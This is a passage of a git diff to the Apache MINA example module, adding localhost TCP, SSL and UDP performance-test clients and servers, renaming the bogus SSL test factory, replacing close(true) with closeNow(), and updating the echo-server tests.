@Override + public void sessionOpened(IoSession session) throws Exception { + } + + /** + * The main method : instanciates a client, and send N messages. We sleep + * between each K messages sent, to avoid the server saturation. + * @param args The arguments + * @throws Exception If something went wrong + */ + public static void main(String[] args) throws Exception { + TcpClient client = new TcpClient(); + + client.t0 = System.currentTimeMillis(); + client.counter = new CountDownLatch(TcpServer.MAX_RECEIVED); + client.buffer.putLong(client.counter.getCount()); + client.buffer.flip(); + session.write(client.buffer); + int nbSeconds = 0; + + while ((client.counter.getCount() > 0) && (nbSeconds < 120)) { + // Wait for one second + client.counter.await(1, TimeUnit.SECONDS); + nbSeconds++; + } + + client.connector.dispose(true); + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpServer.java b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpServer.java new file mode 100644 index 0000000000..9f95e0ca73 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpServer.java @@ -0,0 +1,151 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.tcp.perf; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.util.concurrent.atomic.AtomicInteger; + +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IdleStatus; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; + +/** + * An TCP server used for performance tests. + * + * It does nothing fancy, except receiving the messages, and counting the number of + * received messages. + * + * @author Apache MINA Project + */ +public class TcpServer extends IoHandlerAdapter { + /** The listening port (check that it's not already in use) */ + public static final int PORT = 18567; + + /** The number of message to receive */ + public static final int MAX_RECEIVED = 100000; + + /** The starting point, set when we receive the first message */ + private static long t0; + + /** A counter incremented for every recieved message */ + private AtomicInteger nbReceived = new AtomicInteger(0); + + /** + * {@inheritDoc} + */ + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + cause.printStackTrace(); + session.closeNow(); + } + + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + + int nb = nbReceived.incrementAndGet(); + + if (nb == 1) { + t0 = System.currentTimeMillis(); + } + + if (nb == MAX_RECEIVED) { + long t1 = System.currentTimeMillis(); + System.out.println("-------------> end " + (t1 - t0)); + } + + if (nb % 10000 == 0) { + System.out.println("Received " + nb + " messages"); + } + + // If we want to test the write operation, uncomment this line + session.write(message); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoSession session) throws Exception { + System.out.println("Session closed..."); + + // Reinitialize the counter and expose the number of received messages + System.out.println("Nb message received : " + nbReceived.get()); + nbReceived.set(0); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionCreated(IoSession session) throws Exception { + System.out.println("Session created..."); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { + System.out.println("Session idle..."); + } + + /** + * {@inheritDoc} + * @param session the current seession + * @throws Exception If something went wrong + */ + @Override + public void sessionOpened(IoSession session) throws Exception { + System.out.println("Session Opened..."); + } + + /** + * Create the TCP server + * + * @throws IOException If something went wrong + */ + public TcpServer() throws IOException { + NioSocketAcceptor acceptor = new NioSocketAcceptor(); + acceptor.setHandler(this); + + // The logger, if needed. Commented atm + //DefaultIoFilterChainBuilder chain = acceptor.getFilterChain(); + //chain.addLast("logger", new LoggingFilter()); + + acceptor.bind(new InetSocketAddress(PORT)); + + System.out.println("Server started..."); + } + + /** + * The entry point. + * + * @param args The arguments + * @throws IOException If something went wrong + */ + public static void main(String[] args) throws IOException { + new TcpServer(); + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpSslClient.java b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpSslClient.java new file mode 100644 index 0000000000..a6c22306fd --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpSslClient.java @@ -0,0 +1,181 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.tcp.perf; + +import java.net.InetSocketAddress; +import java.security.GeneralSecurityException; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; + +import javax.net.ssl.SSLContext; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.future.ConnectFuture; +import org.apache.mina.core.service.IoConnector; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IdleStatus; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.ssl.SslFilter; +import org.apache.mina.transport.socket.nio.NioSocketConnector; + +/** + * An TCP client that just send thousands of small messages to a TcpServer through SSL. + * + * This class is used for performance test purposes. It does nothing at all, but send a message + * repeatedly to a server. + * + * @author Apache MINA Project + */ +public class TcpSslClient extends IoHandlerAdapter { + /** The connector */ + private IoConnector connector; + + /** The session */ + private static IoSession session; + + /** The buffer containing the message to send */ + private IoBuffer buffer = IoBuffer.allocate(8); + + /** Timers **/ + private long t0; + private long t1; + + /** The counter used for the sent messages */ + private CountDownLatch counter; + + /** + * Create the TcpClient's instance + * @throws GeneralSecurityException When a SSL error is met + */ + public TcpSslClient() throws GeneralSecurityException { + connector = new NioSocketConnector(); + + // Inject teh SSL filter + SSLContext sslContext = BogusSSLContextFactory + .getInstance(false); + SslFilter sslFilter = new SslFilter(sslContext); + connector.getFilterChain().addFirst("sslFilter", sslFilter); + + connector.setHandler(this); + ConnectFuture connFuture = connector.connect(new InetSocketAddress("localhost", TcpServer.PORT)); + + connFuture.awaitUninterruptibly(); + + session = connFuture.getSession(); + } + + /** + * {@inheritDoc} + */ + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + cause.printStackTrace(); + } + + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + long received = ((IoBuffer)message).getLong(); + + if (received != counter.getCount()) { + System.out.println("Error !"); + session.closeNow(); + } else { + if (counter.getCount() == 0L) { + t1 = System.currentTimeMillis(); + + System.out.println("-------------> end " + (t1 - t0)); + session.closeNow(); + } else { + counter.countDown(); + + buffer.flip(); + buffer.putLong(counter.getCount()); + buffer.flip(); + session.write(buffer); + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public void messageSent(IoSession session, Object message) throws Exception { + if (counter.getCount() % 10000 == 0) { + System.out.println("Sent " + counter + " messages"); + } + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoSession session) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionCreated(IoSession session) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionOpened(IoSession session) throws Exception { + } + + /** + * The main method : instanciates a client, and send N messages. We sleep + * between each K messages sent, to avoid the server saturation. + * @param args The arguments + * @throws Exception If something went wrong + */ + public static void main(String[] args) throws Exception { + TcpSslClient client = new TcpSslClient(); + + client.t0 = System.currentTimeMillis(); + client.counter = new CountDownLatch(TcpServer.MAX_RECEIVED); + client.buffer.putLong(client.counter.getCount()); + client.buffer.flip(); + session.write(client.buffer); + int nbSeconds = 0; + + while ((client.counter.getCount() > 0) && (nbSeconds < 120)) { + // Wait for one second + client.counter.await(1, TimeUnit.SECONDS); + nbSeconds++; + } + + client.connector.dispose(true); + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpSslServer.java b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpSslServer.java new file mode 100644 index 0000000000..96b1f50b16 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpSslServer.java @@ -0,0 +1,163 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.tcp.perf; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.security.GeneralSecurityException; +import java.util.concurrent.atomic.AtomicInteger; + +import org.apache.mina.core.filterchain.DefaultIoFilterChainBuilder; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IdleStatus; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.example.echoserver.ssl.BogusSSLContextFactory; +import org.apache.mina.filter.ssl.SslFilter; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; + +/** + * An TCP SSL server used for performance tests. + * + * It does nothing fancy, except receiving the messages, and counting the number of + * received messages. + * + * @author Apache MINA Project + */ +public class TcpSslServer extends IoHandlerAdapter { + /** The listening port (check that it's not already in use) */ + public static final int PORT = 18567; + + /** The number of message to receive */ + public static final int MAX_RECEIVED = 100000; + + /** The starting point, set when we receive the first message */ + private static long t0; + + /** A counter incremented for every recieved message */ + private AtomicInteger nbReceived = new AtomicInteger(0); + + /** + * {@inheritDoc} + */ + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + cause.printStackTrace(); + session.closeNow(); + } + + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + + int nb = nbReceived.incrementAndGet(); + + if (nb == 1) { + t0 = System.currentTimeMillis(); + } + + if (nb == MAX_RECEIVED) { + long t1 = System.currentTimeMillis(); + System.out.println("-------------> end " + (t1 - t0)); + } + + if (nb % 10000 == 0) { + System.out.println("Received " + nb + " messages"); + } + + // If we want to test the write operation, uncomment this line + session.write(message); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoSession session) throws Exception { + System.out.println("Session closed..."); + + // Reinitialize the counter and expose the number of received messages + System.out.println("Nb message received : " + nbReceived.get()); + nbReceived.set(0); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionCreated(IoSession session) throws Exception { + System.out.println("Session created..."); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { + System.out.println("Session idle..."); + } + + /** + * {@inheritDoc} + * @param session the current seession + * @throws Exception If something went wrong + */ + @Override + public void sessionOpened(IoSession session) throws Exception { + System.out.println("Session Opened..."); + } + + /** + * Create the TCP server + * + * @throws IOException If something went wrong + * @throws GeneralSecurityException If something went wrong + */ + public TcpSslServer() throws IOException, GeneralSecurityException { + NioSocketAcceptor acceptor = new NioSocketAcceptor(); + + // Inject the SSL filter + DefaultIoFilterChainBuilder chain = acceptor.getFilterChain(); + SslFilter sslFilter = new SslFilter(BogusSSLContextFactory + .getInstance(true)); + chain.addLast("sslFilter", sslFilter); + + acceptor.setHandler(this); + + // The logger, if needed. Commented atm + //DefaultIoFilterChainBuilder chain = acceptor.getFilterChain(); + //chain.addLast("logger", new LoggingFilter()); + + acceptor.bind(new InetSocketAddress(PORT)); + + System.out.println("Server started..."); + } + + /** + * The entry point. + * + * @param args The arguments + * @throws IOException If something went wrong + */ + public static void main(String[] args) throws Exception { + new TcpSslServer(); + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/tennis/TennisBall.java b/mina-example/src/main/java/org/apache/mina/example/tennis/TennisBall.java index 7226674e94..3a16340846 100644 --- a/mina-example/src/main/java/org/apache/mina/example/tennis/TennisBall.java +++ b/mina-example/src/main/java/org/apache/mina/example/tennis/TennisBall.java @@ -32,6 +32,8 @@ public class TennisBall { /** * Creates a new ball with the specified TTL (Time To Live) value. + * + * @param ttl The time to live */ public TennisBall(int ttl) { this(ttl, true); @@ -46,14 +48,14 @@ private TennisBall(int ttl, boolean ping) { } /** - * Returns the TTL value of this ball. + * @return the TTL value of this ball. */ public int getTTL() { return ttl; } /** - * Returns the ball after {@link TennisPlayer}'s stroke. + * @return the ball after {@link TennisPlayer}'s stroke. * The returned ball has decreased TTL value and switched PING/PONG state. */ public TennisBall stroke() { @@ -61,7 +63,7 @@ public TennisBall stroke() { } /** - * Returns string representation of this message ([PING|PONG] + * @return string representation of this message ([PING|PONG] * (TTL)). */ @Override diff --git a/mina-example/src/main/java/org/apache/mina/example/tennis/TennisPlayer.java b/mina-example/src/main/java/org/apache/mina/example/tennis/TennisPlayer.java index b5b2d8e78c..f281522441 100644 --- a/mina-example/src/main/java/org/apache/mina/example/tennis/TennisPlayer.java +++ b/mina-example/src/main/java/org/apache/mina/example/tennis/TennisPlayer.java @@ -59,7 +59,7 @@ public void messageReceived(IoSession session, Object message) { } else { // If the ball is dead, this player loses. System.out.println("Player-" + id + ": LOSE"); - session.close(true); + session.closeNow(); } } @@ -71,6 +71,6 @@ public void messageSent(IoSession session, Object message) { @Override public void exceptionCaught(IoSession session, Throwable cause) { cause.printStackTrace(); - session.close(true); + session.closeNow(); } } \ No newline at end of file diff --git a/mina-example/src/main/java/org/apache/mina/example/tennis/package-info.java b/mina-example/src/main/java/org/apache/mina/example/tennis/package-info.java new file mode 100644 index 0000000000..d6bc4cc5a3 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/tennis/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Two tennis players play a game which demonstrates in-VM pipes. + */ +package org.apache.mina.example.tennis; diff --git a/mina-example/src/main/java/org/apache/mina/example/tennis/package.html b/mina-example/src/main/java/org/apache/mina/example/tennis/package.html deleted file mode 100644 index ef7497744f..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/tennis/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Two tennis players play a game which demonstates in-VM pipes. - - diff --git a/mina-example/src/main/java/org/apache/mina/example/udp/MemoryMonitor.java b/mina-example/src/main/java/org/apache/mina/example/udp/MemoryMonitor.java index 6ac988ada2..e76938a125 100644 --- a/mina-example/src/main/java/org/apache/mina/example/udp/MemoryMonitor.java +++ b/mina-example/src/main/java/org/apache/mina/example/udp/MemoryMonitor.java @@ -43,9 +43,6 @@ * @author Apache MINA Project */ public class MemoryMonitor { - - private static final long serialVersionUID = 1L; - public static final int PORT = 18567; protected static final Dimension PANEL_SIZE = new Dimension(300, 200); @@ -71,7 +68,7 @@ public MemoryMonitor() throws IOException { tabbedPane = new JTabbedPane(); tabbedPane.add("Welcome", createWelcomePanel()); frame.add(tabbedPane, BorderLayout.CENTER); - clients = new ConcurrentHashMap(); + clients = new ConcurrentHashMap<>(); frame.pack(); frame.setLocation(300, 300); frame.setVisible(true); diff --git a/mina-example/src/main/java/org/apache/mina/example/udp/MemoryMonitorHandler.java b/mina-example/src/main/java/org/apache/mina/example/udp/MemoryMonitorHandler.java index 1dc8a352c1..b8246602ef 100644 --- a/mina-example/src/main/java/org/apache/mina/example/udp/MemoryMonitorHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/udp/MemoryMonitorHandler.java @@ -44,7 +44,7 @@ public MemoryMonitorHandler(MemoryMonitor server) { public void exceptionCaught(IoSession session, Throwable cause) throws Exception { cause.printStackTrace(); - session.close(true); + session.closeNow(); } @Override diff --git a/mina-example/src/main/java/org/apache/mina/example/udp/perf/UdpClient.java b/mina-example/src/main/java/org/apache/mina/example/udp/perf/UdpClient.java new file mode 100644 index 0000000000..b66feb5617 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/udp/perf/UdpClient.java @@ -0,0 +1,146 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.udp.perf; + +import java.net.InetSocketAddress; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.future.ConnectFuture; +import org.apache.mina.core.service.IoConnector; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IdleStatus; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.transport.socket.nio.NioDatagramConnector; + +/** + * An UDP client taht just send thousands of small messages to a UdpServer. + * + * This class is used for performance test purposes. It does nothing at all, but send a message + * repetitly to a server. + * + * @author Apache MINA Project + */ +public class UdpClient extends IoHandlerAdapter { + /** The connector */ + private IoConnector connector; + + /** The session */ + private static IoSession session; + + /** + * Create the UdpClient's instance + */ + public UdpClient() { + connector = new NioDatagramConnector(); + + connector.setHandler(this); + + ConnectFuture connFuture = connector.connect(new InetSocketAddress("localhost", UdpServer.PORT)); + + connFuture.awaitUninterruptibly(); + + session = connFuture.getSession(); + } + + /** + * {@inheritDoc} + */ + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + cause.printStackTrace(); + } + + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void messageSent(IoSession session, Object message) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoSession session) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionCreated(IoSession session) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionOpened(IoSession session) throws Exception { + } + + /** + * The main method : instanciates a client, and send N messages. We sleep + * between each K messages sent, to avoid the server saturation. + * @param args The arguments + * @throws Exception If something went wrong + */ + public static void main(String[] args) throws Exception { + UdpClient client = new UdpClient(); + + long t0 = System.currentTimeMillis(); + + for (int i = 0; i <= UdpServer.MAX_RECEIVED; i++) { + Thread.sleep(1); + + String str = Integer.toString(i); + byte[] data = str.getBytes(); + IoBuffer buffer = IoBuffer.allocate(data.length); + buffer.put(data); + buffer.flip(); + session.write(buffer); + + if (i % 10000 == 0) { + System.out.println("Sent " + i + " messages"); + } + } + + long t1 = System.currentTimeMillis(); + + System.out.println("Sent messages delay : " + (t1 - t0)); + + Thread.sleep(100000); + + client.connector.dispose(true); + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/udp/perf/UdpServer.java b/mina-example/src/main/java/org/apache/mina/example/udp/perf/UdpServer.java new file mode 100644 index 0000000000..857feae29b --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/udp/perf/UdpServer.java @@ -0,0 +1,149 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.udp.perf; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.util.concurrent.atomic.AtomicInteger; + +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IdleStatus; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.transport.socket.nio.NioDatagramAcceptor; + +/** + * An UDP server used for performance tests. + * + * It does nothing fancy, except receiving the messages, and counting the number of + * received messages. + * + * @author Apache MINA Project + */ +public class UdpServer extends IoHandlerAdapter { + /** The listening port (check that it's not already in use) */ + public static final int PORT = 18567; + + /** The number of message to receive */ + public static final int MAX_RECEIVED = 100000; + + /** The starting point, set when we receive the first message */ + private static long t0; + + /** A counter incremented for every recieved message */ + private AtomicInteger nbReceived = new AtomicInteger(0); + + /** + * {@inheritDoc} + */ + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + cause.printStackTrace(); + session.closeNow(); + } + + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + + int nb = nbReceived.incrementAndGet(); + + if (nb == 1) { + t0 = System.currentTimeMillis(); + } + + if (nb == MAX_RECEIVED) { + long t1 = System.currentTimeMillis(); + System.out.println("-------------> end " + (t1 - t0)); + } + + if (nb % 10000 == 0) { + System.out.println("Received " + nb + " messages"); + } + + // If we want to test the write operation, uncomment this line + session.write(message); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoSession session) throws Exception { + System.out.println("Session closed..."); + + // Reinitialize the counter and expose the number of received messages + System.out.println("Nb message received : " + nbReceived.get()); + nbReceived.set(0); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionCreated(IoSession session) throws Exception { + System.out.println("Session created..."); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { + System.out.println("Session idle..."); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionOpened(IoSession session) throws Exception { + System.out.println("Session Opened..."); + } + + /** + * Create the UDP server + * + * @throws IOException If something went wrong + */ + public UdpServer() throws IOException { + NioDatagramAcceptor acceptor = new NioDatagramAcceptor(); + acceptor.setHandler(this); + + // The logger, if needed. Commented atm + //DefaultIoFilterChainBuilder chain = acceptor.getFilterChain(); + //chain.addLast("logger", new LoggingFilter()); + + acceptor.bind(new InetSocketAddress(PORT)); + + System.out.println("Server started..."); + } + + /** + * The entry point. + * + * @param args The arguments + * @throws IOException If something went wrong + */ + public static void main(String[] args) throws IOException { + new UdpServer(); + } +} diff --git a/mina-example/src/main/resources/org/apache/mina/example/chat/serverContext.xml b/mina-example/src/main/resources/org/apache/mina/example/chat/serverContext.xml index 6e78e15a75..8c401f1bab 100644 --- a/mina-example/src/main/resources/org/apache/mina/example/chat/serverContext.xml +++ b/mina-example/src/main/resources/org/apache/mina/example/chat/serverContext.xml @@ -46,15 +46,15 @@ - + - + - + @@ -130,7 +130,7 @@ - + @@ -140,7 +140,7 @@ - + diff --git a/mina-example/src/main/resources/org/apache/mina/example/echoserver/ssl/bogus.cert b/mina-example/src/main/resources/org/apache/mina/example/echoserver/ssl/bogus.cert index d34502d543..769c124b07 100644 Binary files a/mina-example/src/main/resources/org/apache/mina/example/echoserver/ssl/bogus.cert and b/mina-example/src/main/resources/org/apache/mina/example/echoserver/ssl/bogus.cert differ diff --git a/mina-example/src/test/java/org/apache/mina/example/echoserver/AbstractTest.java b/mina-example/src/test/java/org/apache/mina/example/echoserver/AbstractTest.java index 5f826d111f..6f5e7dfa14 100644 --- a/mina-example/src/test/java/org/apache/mina/example/echoserver/AbstractTest.java +++ b/mina-example/src/test/java/org/apache/mina/example/echoserver/AbstractTest.java @@ -28,7 +28,8 @@ import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.service.IoAcceptor; import org.apache.mina.core.session.IoSession; -import org.apache.mina.example.echoserver.ssl.BogusSslContextFactory; +import org.apache.mina.example.echoserver.ssl.BogusSSLContextFactory; +import org.apache.mina.filter.FilterEvent; import org.apache.mina.filter.ssl.SslFilter; import org.apache.mina.transport.socket.DatagramSessionConfig; import org.apache.mina.transport.socket.nio.NioDatagramAcceptor; @@ -121,7 +122,7 @@ public void sessionCreated(IoSession session) { try { session.getFilterChain().addFirst( "SSL", - new SslFilter(BogusSslContextFactory + new SslFilter(BogusSSLContextFactory .getInstance(true))); } catch (GeneralSecurityException e) { LOGGER.error("", e); @@ -139,22 +140,26 @@ public void messageReceived(IoSession session, Object message) } IoBuffer buf = (IoBuffer) message; - if (session.getFilterChain().contains("SSL") + + buf.mark(); + + if (session.isSecured() && buf.remaining() == 1 && buf.get() == (byte) '.') { LOGGER.info("TLS Reentrance"); - ((SslFilter) session.getFilterChain().get("SSL")) - .startSsl(session); // Send a response - buf = IoBuffer.allocate(1); - buf.put((byte) '.'); + buf.capacity(1); buf.flip(); - session.setAttribute(SslFilter.DISABLE_ENCRYPTION_ONCE); session.write(buf); } else { - super.messageReceived(session, message); + buf.reset(); + super.messageReceived(session, buf); } } + + public void fire(IoSession session, FilterEvent event) { + System.out.println( event ); + } }); socketAcceptor.bind(address); diff --git a/mina-example/src/test/java/org/apache/mina/example/echoserver/AcceptorTest.java b/mina-example/src/test/java/org/apache/mina/example/echoserver/AcceptorTest.java index 13ee753817..deb2430ed0 100644 --- a/mina-example/src/test/java/org/apache/mina/example/echoserver/AcceptorTest.java +++ b/mina-example/src/test/java/org/apache/mina/example/echoserver/AcceptorTest.java @@ -25,13 +25,14 @@ import java.net.DatagramPacket; import java.net.DatagramSocket; +import java.net.InetAddress; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketTimeoutException; import java.util.Arrays; -import org.apache.mina.example.echoserver.ssl.SslServerSocketFactory; -import org.apache.mina.example.echoserver.ssl.SslSocketFactory; +import org.apache.mina.example.echoserver.ssl.SSLServerSocketFactory; +import org.apache.mina.example.echoserver.ssl.SSLSocketFactory; import org.junit.Test; /** @@ -45,7 +46,7 @@ public AcceptorTest() { @Test public void testTCP() throws Exception { - testTCP0(new Socket("127.0.0.1", port)); + testTCP0(new Socket(InetAddress.getByName(null), port)); } @Test @@ -54,14 +55,14 @@ public void testTCPWithSSL() throws Exception { useSSL = true; // Create a echo client with SSL factory and test it. - SslSocketFactory.setSslEnabled(true); - SslServerSocketFactory.setSslEnabled(true); - testTCP0(SslSocketFactory.getSocketFactory().createSocket( + SSLSocketFactory.setSslEnabled(true); + SSLServerSocketFactory.setSslEnabled(true); + testTCP0(SSLSocketFactory.getSocketFactory().createSocket( "localhost", port)); } private void testTCP0(Socket client) throws Exception { - client.setSoTimeout(3000); + client.setSoTimeout(300000); byte[] writeBuf = new byte[16]; for (int i = 0; i < 10; i++) { @@ -103,7 +104,7 @@ private void testTCP0(Socket client) throws Exception { public void testUDP() throws Exception { DatagramSocket client = new DatagramSocket(); - client.connect(new InetSocketAddress("127.0.0.1", port)); + client.connect(new InetSocketAddress(InetAddress.getByName(null), port)); client.setSoTimeout(500); byte[] writeBuf = new byte[16]; diff --git a/mina-example/src/test/java/org/apache/mina/example/echoserver/ConnectorTest.java b/mina-example/src/test/java/org/apache/mina/example/echoserver/ConnectorTest.java index 61b32ba05b..18b6a6a649 100644 --- a/mina-example/src/test/java/org/apache/mina/example/echoserver/ConnectorTest.java +++ b/mina-example/src/test/java/org/apache/mina/example/echoserver/ConnectorTest.java @@ -20,12 +20,11 @@ package org.apache.mina.example.echoserver; import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; +import java.net.InetAddress; import java.net.InetSocketAddress; -import org.apache.mina.core.RuntimeIoException; import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.future.ConnectFuture; import org.apache.mina.core.future.WriteFuture; @@ -33,12 +32,13 @@ import org.apache.mina.core.service.IoHandlerAdapter; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteException; -import org.apache.mina.example.echoserver.ssl.BogusSslContextFactory; +import org.apache.mina.example.echoserver.ssl.BogusSSLContextFactory; import org.apache.mina.filter.ssl.SslFilter; import org.apache.mina.transport.socket.nio.NioDatagramConnector; import org.apache.mina.transport.socket.nio.NioSocketConnector; import org.apache.mina.util.AvailablePortFinder; import org.junit.Before; +import org.junit.Ignore; import org.junit.Test; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -58,7 +58,7 @@ public class ConnectorTest extends AbstractTest { private final int DATA_SIZE = 16; private EchoConnectorHandler handler; - private SslFilter connectorSSLFilter; + private SslFilter connectorSslFilter; public ConnectorTest() { // Do nothing @@ -68,9 +68,8 @@ public ConnectorTest() { public void setUp() throws Exception { super.setUp(); handler = new EchoConnectorHandler(); - connectorSSLFilter = new SslFilter(BogusSslContextFactory + connectorSslFilter = new SslFilter(BogusSSLContextFactory .getInstance(false)); - connectorSSLFilter.setUseClientMode(true); // set client mode } @Test @@ -79,14 +78,15 @@ public void testTCP() throws Exception { testConnector(connector); } - @Test + @Test + 